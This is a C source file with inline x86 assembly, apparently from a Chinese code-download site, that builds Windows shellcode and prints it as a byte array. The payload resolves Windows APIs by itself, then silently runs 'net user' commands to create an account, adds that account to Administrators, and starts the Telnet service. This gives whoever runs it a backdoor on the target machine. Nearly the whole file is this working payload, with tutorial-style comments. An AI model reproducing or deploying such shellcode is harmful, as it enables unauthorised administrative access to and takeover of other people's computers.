⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 shellcode.c

📁 ShellCode分析
💻 C
字号:
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <winsock.h>
//定义API及DLL名称及其存储顺序,良好的编码风格对于以后的开发会提供很大的方便
#define APISTART 0
#define GETPROCADDRESS	(APISTART+0)
#define LOADLIBRARY		(APISTART+1)
#define EXITPROCESS		(APISTART+2)
#define WINEXEC			(APISTART+3)
#define KNLSTART		(EXITPROCESS)
#define KNLEND			(WINEXEC)		
#define NKNLAPI			(4)				

#define WSOCKSTART		(KNLEND+1)
#define SOCKET			(WSOCKSTART+0)
#define BIND			(WSOCKSTART+1)
#define CONNECT			(WSOCKSTART+2)
#define ACCEPT			(WSOCKSTART+3)
#define LISTEN			(WSOCKSTART+4)
#define SEND			(WSOCKSTART+5)
#define RECV			(WSOCKSTART+6)
#define CLOSESOCKET		(WSOCKSTART+7)
#define WSASTARTUP		(WSOCKSTART+8)
#define WSACLEANUP		(WSOCKSTART+9)
#define WSOCKEND		(WSACLEANUP)	
#define NWSOCKAPI		(10)			
//define NETAPI,RPCAPI......
#define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.......*/)

#define DLLSTART 0
#define KERNELDLL		(DLLSTART+0)
#define WS2_32DLL		(DLLSTART+1)
#define DLLEND (WS2_32DLL)				
#define NDLLS			2				

#define COMMAND_START 0
#define COMMAND_ADDUSER	 (COMMAND_START+0)
#define COMMAND_SETUSERADMIN	(COMMAND_START+1)
#define COMMAND_OPENTLNT (COMMAND_START+2)
#define COMMAND_END		 (COMMAND_OPENTLNT)
#define NCMD			3
void ShellCodeFun(void)
{
	DWORD ImageBase,IED,FunNameArray,PE,Count,flen,DLLS[NDLLS];
	int i;
	char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD];
	FARPROC API[NAPIS];
	__asm
	{//1,手工获得KERNEL32.DLL基址,并获得LoadLibraryA和GetProcAddress函数地址
		push esi
		push ecx
		mov  esi,fs:0
		lodsd
GetExeceptionFilter:
		cmp [eax],0xffffffff	
		je GetedExeceptionFilter
		mov eax,[eax]		
		jmp GetExeceptionFilter
GetedExeceptionFilter:
		mov eax, [eax+4]
FindMZ:
		and eax,0xffff0000
		cmp word ptr [eax],'ZM'
		jne MoveUp
		mov ecx,[eax+0x3c]		
		add ecx,eax
		cmp word ptr [ecx],'EP'
		je FoundKNL
MoveUp:
		dec eax	
		jmp FindMZ
FoundKNL:
		pop ecx
		pop esi
		mov DLLS[KERNELDLL* type DWORD],eax
		mov ImageBase,eax
		call LGETPROCADDRESS
		_emit 'G';     
		_emit 'e';     
		_emit 't';     
		_emit 'P';     
		_emit 'r';     
		_emit 'o';     
		_emit 'c';     
		_emit 'A';     
		_emit 'd';     
		_emit 'd';     
		_emit 'r';     
		_emit 'e';     
		_emit 's';     
		_emit 's';     
		_emit 0x00
LGETPROCADDRESS:
		pop eax
		mov APINAMES[GETPROCADDRESS * 4],eax
		mov FuncName,eax
		mov flen,0x0d
		mov Count,0
		call FindApi
		mov API[GETPROCADDRESS *type FARPROC],eax
		call LOADLIBRARYA
		_emit 'L';      
		_emit 'o';      
		_emit 'a';      
		_emit 'd';      
		_emit 'L';      
		_emit 'i';      
		_emit 'b';      
		_emit 'r';      
		_emit 'a';      
		_emit 'r';      
		_emit 'y';      
		_emit 'A';      
		_emit 0x00
LOADLIBRARYA:
		pop eax
		mov APINAMES[LOADLIBRARY * 4],eax
		mov FuncName,eax
		mov flen,0x0b
		mov Count,0
		call FindApi
		mov API[LOADLIBRARY * type FARPROC],eax
	}
	__asm
	{
	//2,填写需要的DLL名称,注意这里和上面定义的宏顺序要一样
		call KERNEL32
		_emit 'k';
		_emit 'e';
		_emit 'r';
		_emit 'n';
		_emit 'e';
		_emit 'l';
		_emit '3';
		_emit '2';
		_emit '.'
		_emit 'd'
		_emit 'l'
		_emit 'l'
		_emit 0x00
KERNEL32:
		pop DLLNAMES[KERNELDLL*4]
		call WS2_32
		_emit 'w';
		_emit 's';
		_emit '2';
		_emit '_';
		_emit '3';
		_emit '2';
		_emit '.'
		_emit 'd'
		_emit 'l'
		_emit 'l'
		_emit 0x00
WS2_32:
		pop DLLNAMES[WS2_32DLL * 4]
	//3,填写其它需要的API名称,注意这里也要和上面定义和宏顺序一样
		call LEXITPROCESS			//1
		_emit 'E';     
		_emit 'x';     
		_emit 'i';     
		_emit 't';     
		_emit 'P';     
		_emit 'r';     
		_emit 'o';     
		_emit 'c';     
		_emit 'e';     
		_emit 's';     
		_emit 's';     
		_emit 0x00
LEXITPROCESS:
		pop APINAMES[EXITPROCESS * 4]
		call LWINEXEC				//2
		_emit 'W';      
		_emit 'i';      
		_emit 'n';      
		_emit 'E';      
		_emit 'x';      
		_emit 'e';      
		_emit 'c';      
		_emit 0x00
LWINEXEC:
		pop APINAMES[WINEXEC * 4]
		call LSOCKET				//3
		_emit 's';     
		_emit 'o';     
		_emit 'c';     
		_emit 'k';     
		_emit 'e';     
		_emit 't';     
		_emit 0x00
LSOCKET:
		pop APINAMES[SOCKET * 4]
		call LBIND					//4
		_emit 'b';      
		_emit 'i';      
		_emit 'n';      
		_emit 'd';      
		_emit 0x00
LBIND:
		pop APINAMES[BIND * 4]
		call LCONNECT
		_emit 'c';      
		_emit 'o';      
		_emit 'n';      
		_emit 'n';      
		_emit 'e';      
		_emit 'c';      
		_emit 't';      
		_emit 0x00
LCONNECT:
		pop APINAMES[CONNECT * 4]
		call LACCEPT				//5
		_emit 'a';     
		_emit 'c';     
		_emit 'c';     
		_emit 'e';     
		_emit 'p';     
		_emit 't';     
		_emit 0x00
LACCEPT:
		pop APINAMES[ACCEPT * 4]
		call LLISTEN				//6
		_emit 'l';      
		_emit 'i';      
		_emit 's';      
		_emit 't';      
		_emit 'e';      
		_emit 'n';      
		_emit 0x00
LLISTEN:
		pop APINAMES[LISTEN * 4]
		call LSEND					//7
		_emit 's';     
		_emit 'e';     
		_emit 'n';     
		_emit 'd';     
		_emit 0x00
LSEND:
		pop APINAMES[SEND * 4]
		call LRECV					//8
		_emit 'r';     
		_emit 'e';     
		_emit 'c';     
		_emit 'v';     
		_emit 0x00
LRECV:
		pop APINAMES[RECV * 4]
		call CLOSESOCKETL			//9
		_emit 'c';      
		_emit 'l';      
		_emit 'o';      
		_emit 's';      
		_emit 'e';      
		_emit 's';      
		_emit 'o';      
		_emit 'c';      
		_emit 'k';      
		_emit 'e';      
		_emit 't';      
		_emit 0x00
CLOSESOCKETL:
		pop APINAMES[CLOSESOCKET * 4]
		call WSASTARTUPL			//10
		_emit 'W';     
		_emit 'S';     
		_emit 'A';     
		_emit 'S';     
		_emit 't';     
		_emit 'a';     
		_emit 'r';     
		_emit 't';     
		_emit 'u';     
		_emit 'p';     
		_emit 0x00
WSASTARTUPL:
		pop APINAMES[WSASTARTUP * 4]
		call WSACLEANUPL			//11
		_emit 'W';     
		_emit 'S';     
		_emit 'A';     
		_emit 'C';     
		_emit 'l';     
		_emit 'e';     
		_emit 'a';     
		_emit 'n';     
		_emit 'u';     
		_emit 'p';     
		_emit 0x00
WSACLEANUPL:
		pop APINAMES[WSACLEANUP * 4]
		//nop;可以在这里设置一个断点查看DLLNAMES和APINAMES是否填入了需要的内容
		
		//填写
	}
	//3,装载所有需要的DLL
	for(i=DLLSTART;i<=DLLEND;i++)
	{
		DLLS[i]=API[LOADLIBRARY](DLLNAMES[i]);
	}
	//4,获取所有需要的API
	//4.1取得Windows Kernel API
	for(i=KNLSTART;i<=KNLEND;i++)
	{
		API[i]=API[GETPROCADDRESS](DLLS[KERNELDLL],APINAMES[i]);
	}
	//4.2取得Windows Sockets API
	for(i=WSOCKSTART;i<=WSOCKEND;i++)
	{
		API[i]=API[GETPROCADDRESS](DLLS[WS2_32DLL],APINAMES[i]);
	}
	//5,编写ShellCode的功能实体部分
	__asm
	{
		call PUTCOMMAND_ADDUSER
		_emit 'n'
		_emit 'e'
		_emit 't'
		_emit ' '
		_emit 'u'
		_emit 's'
		_emit 'e'
		_emit 'r'
		_emit ' '
		_emit 'y'
		_emit 'e'
		_emit 'l'
		_emit 'l'
		_emit 'o'
		_emit 'w'
		_emit ' '
		_emit 'y'
		_emit 'e'
		_emit 'l'
		_emit 'l'
		_emit 'o'
		_emit 'w'
		_emit ' '
		_emit '/'
		_emit 'a'
		_emit 'd'
		_emit 'd'
		_emit 0x00
PUTCOMMAND_ADDUSER:
		pop CMD[COMMAND_ADDUSER * 4]
		call PUTCOMMAND_SETUSERADMIN
		_emit 'n'
		_emit 'e'
		_emit 't'
		_emit ' '
		_emit 'l'
		_emit 'o'
		_emit 'c'
		_emit 'a'
		_emit 'l'
		_emit 'g'
		_emit 'r'
		_emit 'o'
		_emit 'u'
		_emit 'p'
		_emit ' '
		_emit 'A'
		_emit 'd'
		_emit 'm'
		_emit 'i'
		_emit 'n'
		_emit 'i'
		_emit 's'
		_emit 't'
		_emit 'r'
		_emit 'a'
		_emit 't'
		_emit 'o'
		_emit 'r'
		_emit 's'
		_emit ' '
		_emit 'y'
		_emit 'e'
		_emit 'l'
		_emit 'l'
		_emit 'o'
		_emit 'w'
		_emit ' '
		_emit '/'
		_emit 'a'
		_emit 'd'
		_emit 'd'
		_emit 0x00
PUTCOMMAND_SETUSERADMIN:
		pop CMD[COMMAND_SETUSERADMIN*4]
		call PUTCOMMAND_OPENTLNT
		_emit 'n'
		_emit 'e'
		_emit 't'
		_emit ' '
		_emit 's'
		_emit 't'
		_emit 'a'
		_emit 'r'
		_emit 't'
		_emit ' '
		_emit 't'
		_emit 'l'
		_emit 'n'
		_emit 't'
		_emit 's'
		_emit 'v'
		_emit 'r'
		_emit 0x00
PUTCOMMAND_OPENTLNT:
		pop CMD[COMMAND_OPENTLNT* 4]
	}
//	__asm int 3//在Release版本中使用断点
//6,执行命令新建用户,如果权限够就将用户加入Administrators,再开启标准的Telnet服务
	for(i=COMMAND_START;i<=COMMAND_END;i++)
		API[WINEXEC](CMD[i],SW_HIDE);
/*
    我们已经引入了一些常用的KERNEL API和WINSOCK API,可以在这里进行更深入的
开发(比如我们可以使用WinSock自己实现一个Telnet服务端).
*/
	API[EXITPROCESS](0);//使用ExitProcess来退出ShellCode以减少错误
	
	__asm
		{
/*
子程序FindApi,由我前面讲解的GetFunctionByName修改得到
入口参数:
   ImageBase:DLL基址
   FuncName:需要查找的引出函数名
   flen:引出函数名长度,在不会出现重复的情况下可以比引出函数名短一点
   Count:引出函数地址索引起始,通常应该把它设为0.
出口参数:
   如果查找则成功Eax返回有效的函数地址,否则返回0
*/
FindApi:
		mov eax,ImageBase		
		add eax,0x3c		//指向PE头部偏移值e_lfanew
		mov eax,[eax]		//取得e_lfanew值
		add eax,ImageBase	//指向PE header
		cmp [eax],0x00004550
		jne NotFound		//如果ImageBase句柄有错
		mov PE,eax
		mov eax,[eax+0x78]
		add eax,ImageBase	//指向IMAGE_EXPORT_DIRECTORY
		mov [IED],eax
		mov eax,[eax+0x20]
		add eax,ImageBase
		mov FunNameArray,eax	//保存函数名称指针数组的指针值
		mov ecx,[IED]
		mov ecx,[ecx+0x14]	//根据引出函数个数NumberOfFunctions设置最大查找次数
FindLoop:
		push ecx		//使用一个小技巧,使用程序循环更简单
		mov eax,[eax]
		add eax,ImageBase
		mov esi,FuncName
		mov edi,eax
		mov ecx,flen		//逐个字符比较,如果相同则为找到函数,注意这里的ecx值
		cld
		rep cmpsb
		jne FindNext		//如果当前函数不是指定的函数则查找下一个
		add esp,4		//如果查找成功,则清除用于控制外层循环而压入的Ecx,准备返回
		mov eax,[IED]
		mov eax,[eax+0x1c]
		add eax,ImageBase	//获得函数地址表
		shl Count,2		//根据函数索引计算函数地址指针=函数地址表基址+(函数索引*4)
		add eax,Count
		mov eax,[eax]		//获得函数地址相对偏移量
		add eax,ImageBase	//计算函数真实地址,并通过Eax返回给调用者
		jmp Found
FindNext:
		inc Count		//记录函数索引
		add [FunNameArray],4	//下一个函数名指针
		mov eax,FunNameArray
		pop ecx			//恢复压入的ecx(NumberOfFunctions),进行计数循环
		loop FindLoop		//如果ecx不为0则递减并回到FindLoop,往后查找
NotFound:
		xor eax,eax		//如果没有找到,则返回0
Found:
		ret
//ShellCode结束标识符
		_emit '*'
		_emit '*'
	}
}

void AboutMe(void)
{
	printf("\t++++++++++++++++++++++++++++++++++\n");
	printf("\t+         ShellCode Demo!        +\n");
	printf("\t+         Code by yellow         +\n");
	printf("\t+         Date:2003-12-21        +\n");
	printf("\t+    Email:yellow@safechina.net  +\n");
	printf("\t+    Home Page:www.safechina.net +\n");
	printf("\t++++++++++++++++++++++++++++++++++\n");

}

void printsc(unsigned char *sc)
{
	int x=0;
	printf("unsigned char shellcode[]={");
	while(1)
	{
		if ((*(sc+1)=='*')&&(*(sc+2)=='*')) break;
		if(!(x++%10)) printf("\n\t");
		printf("0x%0.2X,",*sc++);
	}
	printf("0x%0.2X\n};\nTotal %d Bytes\r\n",*sc,x+1);
}

int main(void)
{
	unsigned char *p=ShellCodeFun;
	unsigned int k=0;
	if(*p==0xe9)
	{
		k=*(unsigned int*)(++p);
		(int)p+=k;
		(int)p+=4;
	}
	printsc(p);
	AboutMe();
	getch();
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -